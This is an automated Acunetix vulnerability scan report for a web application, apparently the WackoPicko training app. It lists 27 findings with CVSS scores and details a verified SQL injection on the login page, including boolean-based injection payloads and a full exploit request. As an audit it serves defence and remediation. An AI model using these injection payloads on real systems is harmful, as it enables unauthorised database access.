Developer Report

Acunetix Security Audit

2025-10-09

Generated by Acunetix

Scan of 92.51.39.106:8050

Scan details

Scan information	
Start time	2025-10-09T12:51:39.861933-04:00
Start url	http://92.51.39.106:8050/
Host	92.51.39.106:8050
Scan time	23 minutes, 53 seconds
Profile	Full Scan
Server information	Apache/2.4.7 (Ubuntu)
Responsive	True
Server OS	Unix
Server technologies	PHP
Application build	24.10.241106172

Threat level

Acunetix Threat Level 4

One or more critical-severity type vulnerabilities have been discovered by the scanner. A malicious user can exploit these vulnerabilities and compromise the backend database and/or deface your website.

Alerts distribution

Total alerts found	27
Critical	1
High	7
Medium	6
Low	7
Informational	6

Alerts summary

SQL Injection

Classification	
CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N Base Score: 9.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Confidentiality Impact to the Vulnerable System: High Integrity Impact to the Vulnerable System: High Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: None Integrity Impact to the Subsequent System: None Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N Base Score: 10.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Changed Confidentiality Impact: High Integrity Impact: High Availability Impact: None
CVSS2	Base Score: 6.8 Access Vector: Network_accessible Access Complexity: Medium Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: Partial Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-89

Affected items	Variation
/users/login.php	1

Cross-site Scripting

Classification	
CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N Base Score: 5.1 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Active Confidentiality Impact to the Vulnerable System: None Integrity Impact to the Vulnerable System: Low Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: Low Integrity Impact to the Subsequent System: Low Availability Impact to the Subsequent System: None

CVSS3	CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: None Integrity Impact: Low Availability Impact: None
CVSS2	Base Score: 6.4 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-79

Affected items	Variation
/guestbook.php	1
/piccheck.php	1
/pictures/search.php	1
/test.php	1
/users/login.php	1

Local File Inclusion

Classification	
CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L Base Score: 6.9 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Confidentiality Impact to the Vulnerable System: Low Integrity Impact to the Vulnerable System: Low Availability Impact to the Vulnerable System: Low Confidentiality Impact to the Subsequent System: Low Integrity Impact to the Subsequent System: Low Availability Impact to the Subsequent System: Low
CVSS3	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L Base Score: 8.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Changed Confidentiality Impact: Low Integrity Impact: Low Availability Impact: Low

CVSS2	Base Score: 7.5 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: Partial Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-20

Affected items	Variation
/admin/	1
/admin/index.php	1

Directory listings

Classification	
CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N Base Score: 6.9 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Confidentiality Impact to the Vulnerable System: Low Integrity Impact to the Vulnerable System: None Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: None Integrity Impact to the Subsequent System: None Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: Low Integrity Impact: None Availability Impact: None
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-538

Affected items	Variation
Web Server	1

Insecure HTTP Usage

Classification

CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N Base Score: 0.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Active Confidentiality Impact to the Vulnerable System: None Integrity Impact to the Vulnerable System: None Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: None Integrity Impact to the Subsequent System: None Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:N Base Score: 0.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Changed Confidentiality Impact: None Integrity Impact: None Availability Impact: None
CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-16

Affected items	Variation
Web Server	1

Multiple vulnerabilities fixed in PHP versions 5.5.12 and 5.4.28

Classification	
CVSS4	CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L Base Score: 6.3 Attack Vector: Network Attack Complexity: High Privileges Required: None User Interaction: None Confidentiality Impact to the Vulnerable System: Low Integrity Impact to the Vulnerable System: Low Availability Impact to the Vulnerable System: Low Confidentiality Impact to the Subsequent System: Low Integrity Impact to the Subsequent System: Low Availability Impact to the Subsequent System: Low
CVSS3	CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L Base Score: 5.6 Attack Vector: Network Attack Complexity: High Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: Low Integrity Impact: Low Availability Impact: Low

CVSS2	Base Score: 7.5 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: Partial Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-1104
CVE	CVE-2014-0185

Affected items	Variation
Web Server	1

Password transmitted over HTTP

Classification	
CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N Base Score: 5.1 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Active Confidentiality Impact to the Vulnerable System: Low Integrity Impact to the Vulnerable System: None Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: None Integrity Impact to the Subsequent System: None Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N Base Score: 4.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Unchanged Confidentiality Impact: Low Integrity Impact: None Availability Impact: None
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-523

Affected items	Variation
Web Server	1

SSL/TLS Not Implemented

Classification

CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N Base Score: 5.1 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Active Confidentiality Impact to the Vulnerable System: Low Integrity Impact to the Vulnerable System: Low Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: None Integrity Impact to the Subsequent System: None Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N Base Score: 5.4 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Unchanged Confidentiality Impact: Low Integrity Impact: Low Availability Impact: None
CVSS2	Base Score: 5.8 Access Vector: Network_accessible Access Complexity: Medium Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-319

Affected items	Variation
Web Server	1

Source code disclosures

Classification	
CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N Base Score: 8.7 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Confidentiality Impact to the Vulnerable System: High Integrity Impact to the Vulnerable System: None Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: None Integrity Impact to the Subsequent System: None Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None

CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-538

Affected items	Variation
Web Server	1

Cookies Not Marked as HttpOnly

Classification	
CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N Base Score: 0.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Active Confidentiality Impact to the Vulnerable System: None Integrity Impact to the Vulnerable System: None Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: None Integrity Impact to the Subsequent System: None Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:N Base Score: 0.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Unchanged Confidentiality Impact: None Integrity Impact: None Availability Impact: None
CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-1004

Affected items	Variation
Web Server	1

Cookies with missing, inconsistent or contradictory properties

Classification

CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N Base Score: 0.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Active Confidentiality Impact to the Vulnerable System: None Integrity Impact to the Vulnerable System: None Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: None Integrity Impact to the Subsequent System: None Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:N Base Score: 0.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Unchanged Confidentiality Impact: None Integrity Impact: None Availability Impact: None
CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-284

Affected items	Variation
Web Server	1

Missing Content-Type Header

Classification	
CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N Base Score: 0.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Active Confidentiality Impact to the Vulnerable System: None Integrity Impact to the Vulnerable System: None Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: None Integrity Impact to the Subsequent System: None Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:N Base Score: 0.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Unchanged Confidentiality Impact: None Integrity Impact: None Availability Impact: None

CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-16

Affected items	Variation
Web Server	1

Possible sensitive directories

Classification	
CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N Base Score: 6.9 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Confidentiality Impact to the Vulnerable System: Low Integrity Impact to the Vulnerable System: None Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: None Integrity Impact to the Subsequent System: None Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: Low Integrity Impact: None Availability Impact: None
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-200

Affected items	Variation
Web Server	1

Possible sensitive files

Classification

CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N Base Score: 6.9 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Confidentiality Impact to the Vulnerable System: Low Integrity Impact to the Vulnerable System: None Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: None Integrity Impact to the Subsequent System: None Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: Low Integrity Impact: None Availability Impact: None
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-200

Affected items	Variation
Web Server	1

Programming Error Messages

Classification	
CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N Base Score: 6.9 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Confidentiality Impact to the Vulnerable System: Low Integrity Impact to the Vulnerable System: None Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: None Integrity Impact to the Subsequent System: None Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: Low Integrity Impact: None Availability Impact: None

CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-209

Affected items	Variation
Web Server	1

Version Disclosure (PHP)

Classification	
CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P Base Score: 5.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Confidentiality Impact to the Vulnerable System: Low Integrity Impact to the Vulnerable System: None Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: None Integrity Impact to the Subsequent System: None Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N Base Score: 0.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: None Integrity Impact: None Availability Impact: None
CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined

Affected items	Variation
Web Server	1

Content Security Policy (CSP) Not Implemented

Classification

CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N Base Score: 0.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Active Confidentiality Impact to the Vulnerable System: None Integrity Impact to the Vulnerable System: None Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: None Integrity Impact to the Subsequent System: None Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:N Base Score: 0.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Changed Confidentiality Impact: None Integrity Impact: None Availability Impact: None
CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-1021

Affected items	Variation
Web Server	1

ⓘ Error page web server version disclosure

Classification	
CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N Base Score: 6.9 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Confidentiality Impact to the Vulnerable System: Low Integrity Impact to the Vulnerable System: None Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: None Integrity Impact to the Subsequent System: None Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: Low Integrity Impact: None Availability Impact: None

CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-200

Affected items	Variation
Web Server	1

ⓘ File Upload Functionality Detected

Classification	
CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N Base Score: 8.7 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Confidentiality Impact to the Vulnerable System: None Integrity Impact to the Vulnerable System: High Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: None Integrity Impact to the Subsequent System: None Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N Base Score: 0.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: None Integrity Impact: None Availability Impact: None
CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined

Affected items	Variation
Web Server	1

ⓘ Permissions-Policy header not implemented

Classification

CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N Base Score: 0.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Active Confidentiality Impact to the Vulnerable System: None Integrity Impact to the Vulnerable System: None Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: None Integrity Impact to the Subsequent System: None Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:N Base Score: 0.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Changed Confidentiality Impact: None Integrity Impact: None Availability Impact: None
CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-1021

Affected items	Variation
Web Server	1

[Possible] Internal Path Disclosure (*nix)

Classification	
CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N Base Score: 6.9 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Confidentiality Impact to the Vulnerable System: Low Integrity Impact to the Vulnerable System: None Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: None Integrity Impact to the Subsequent System: None Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: Low Integrity Impact: None Availability Impact: None

CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-200

Affected items	Variation
Web Server	1

[Possible] Internal Path Disclosure (Windows)

Classification	
CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N Base Score: 6.9 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Confidentiality Impact to the Vulnerable System: Low Integrity Impact to the Vulnerable System: None Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: None Integrity Impact to the Subsequent System: None Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: Low Integrity Impact: None Availability Impact: None
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-200

Affected items	Variation
Web Server	1

Alerts details

SQL Injection

Severity	**Critical**
Reported by module	/Scripts/PerScheme/Sql_Injection.script

Description

SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.

Impact

An attacker can use SQL injection to bypass a web application's authentication and authorization mechanisms and retrieve the contents of an entire database. SQLi can also be used to add, modify and delete records in a database, affecting data integrity. Under the right circumstances, SQLi can also be used by an attacker to execute OS commands, which may then be used to escalate an attack even further.

Recommendation

Use parameterized queries when dealing with SQL queries that contain user input. Parameterized queries allow the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.

References

SQL Injection (SQLi) - Acunetix (https://www.acunetix.com/websitesecurity/sql-injection/)
Types of SQL Injection (SQLi) - Acunetix (https://www.acunetix.com/websitesecurity/sql-injection2/)
Prevent SQL injection vulnerabilities in PHP applications and fix them - Acunetix (https://www.acunetix.com/blog/articles/prevent-sql-injection-vulnerabilities-in-php-applications/)
SQL Injection - OWASP (https://www.owasp.org/index.php/SQL_Injection)
Bobby Tables: A guide to preventing SQL injection (https://bobby-tables.com/)
SQL Injection Cheet Sheets - Pentestmonkey (http://pentestmonkey.net/category/cheat-sheet/sql-injection)

Affected items

/users/login.php

Verified vulnerability

Details

URL encoded POST input **username** was set to **-1' OR 3*2*1=6 AND 000252=000252 --**

Tests performed:

- -1' OR 2+252-252-1=0+0+0+1 -- => **TRUE**
- -1' OR 3+252-252-1=0+0+0+1 -- => **FALSE**
- -1' OR 3*2<(0+5+252-252) -- => **FALSE**
- -1' OR 3*2>(0+5+252-252) -- => **FALSE**
- -1' OR 2+1-1+1=1 AND 000252=000252 -- => **FALSE**
- -1' OR 3*2=5 AND 000252=000252 -- => **FALSE**
- -1' OR 3*2=6 AND 000252=000252 -- => **TRUE**
- -1' OR 3*2*0=6 AND 000252=000252 -- => **FALSE**
- -1' OR 3*2*1=6 AND 000252=000252 -- => **TRUE**

Original value: **RDFYjolf**

Proof of Exploit

SQL query - SELECT database()

```
wackopicko
```

Request headers

```
POST /users/login.php HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://92.51.39.106:8050/
Cookie: PHPSESSID=ie85un87aj7eka8p9ahd1qa2s2
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.0.0 Safari/537.36
Host: 92.51.39.106:8050
Connection: Keep-alive

password=u]H[ww6KrA9F.x-F&username=-1'%20OR%203*2*1=6%20AND%20000252=000252%20--%20
```

Cross-site Scripting

Severity	**High**
Reported by module	/Scripts/PerScheme/XSS.script

Description

Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

Impact

Malicious JavaScript has access to all the same objects as the rest of the web page, including access to cookies and local storage, which are often used to store session tokens. If an attacker can obtain a user's session cookie, they can then impersonate that user.

Furthermore, JavaScript can read and make arbitrary modifications to the contents of a page being displayed to a user. Therefore, XSS in conjunction with some clever social engineering opens up a lot of possibilities for an attacker.

Recommendation

Apply context-dependent encoding and/or validation to user input rendered on a page

References

Cross-site Scripting (XSS) Attack - Acunetix (https://www.acunetix.com/websitesecurity/cross-site-scripting/)
Types of XSS - Acunetix (https://www.acunetix.com/websitesecurity/xss/)
XSS Filter Evasion Cheat Sheet (https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet)
